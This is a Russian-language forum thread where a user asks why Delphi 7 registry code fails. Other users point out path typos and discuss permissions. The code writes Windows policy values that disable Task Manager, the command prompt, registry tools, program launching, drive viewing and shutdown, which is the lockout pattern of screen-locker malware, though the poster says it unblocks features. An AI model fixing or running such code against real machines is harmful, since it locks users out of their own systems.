Delphi 7 работа с реестром

[phonex]

всем привет вообщем есть код:

var
reg: TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Policies\System', True);
reg.WriteString('DisableTaskMgr','');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoViewOnDrive','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('RestrictRun','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoClose','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Policies\Microsoft\Windows\S ystem\DisableCMD', True);
reg.WriteString('DisableCMD','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('software\Microsoft\Windows\CurrentVer sion\Policies\system\DisableRegistryTools', True);
reg.WriteString('DisableRegistryTools','a');
reg.CloseKey;
reg.Free;

но он не работает(данный код разблокирует некоторые функции реестра)в чем ошибка?и как данный код на одну кнопку уместить?



________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(это кнопочка на панели форматирования с решёточкой #)
Не забывайте об этом!

Модератор.

[nikcpp]

Обрати внимание на правильность написания путей к веткам

CurrentVersion - должно быть так без всяких пробелов
System - должно быть так без всяких пробелов

[phonex]

Сообщение от nikcpp

Обрати внимание на правильность написания путей к веткам

CurrentVersion - должно быть так без всяких пробелов
System - должно быть так без всяких пробелов

исправил не работает(((

[nikcpp]

как именно не работает, ошибки какие то или что то еще???

[WeezyWayne]

Сообщение от phonex

всем привет вообщем есть код:

var
reg: TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Policies\System', True);
reg.WriteString('DisableTaskMgr','');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoViewOnDrive','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('RestrictRun','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoClose','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Policies\Microsoft\Windows\S ystem\DisableCMD', True);
reg.WriteString('DisableCMD','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('software\Microsoft\Windows\CurrentVer sion\Policies\system\DisableRegistryTools', True);
reg.WriteString('DisableRegistryTools','a');
reg.CloseKey;
reg.Free;

но он не работает(данный код разблокирует некоторые функции реестра)в чем ошибка?и как данный код на одну кнопку уместить?



________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(это кнопочка на панели форматирования с решёточкой #)
Не забывайте об этом!

Модератор.

Не буду говорить что шарю, но пробелы и двойные слеши так и должны быть ?
Да и правка реестра требует прав администратора.

[northener]

Да и правка реестра требует прав администратора.

Только не в разделе HKEY_CURRENT_USER.

[denis76560]

Если модуль registry в USES подключен должно работать.
Хотя недавно обнаружил что это зависит еще и от операционной системы.
У меня после переустановки на win7 64x без напильника не обошлось.
Пишите описание ошибки, и при каких обстоятельствах.